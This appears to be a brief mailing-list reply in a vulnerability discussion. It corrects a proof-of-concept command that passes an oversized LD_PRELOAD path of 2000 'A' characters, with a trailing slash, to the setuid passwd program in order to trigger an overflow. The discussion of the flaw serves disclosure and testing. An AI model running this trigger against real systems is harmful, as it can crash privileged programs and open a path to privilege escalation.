Modify the command (you need to add a trailing slash) to be the following:

LD_PRELOAD=/`perl -e 'print "A"x2000'`/ passwd

and try it again.



That's right, my original message had a typo, the trailing slash was missing. Thanks for noticing this, David. Without the slash nothing special happens. My apologies,
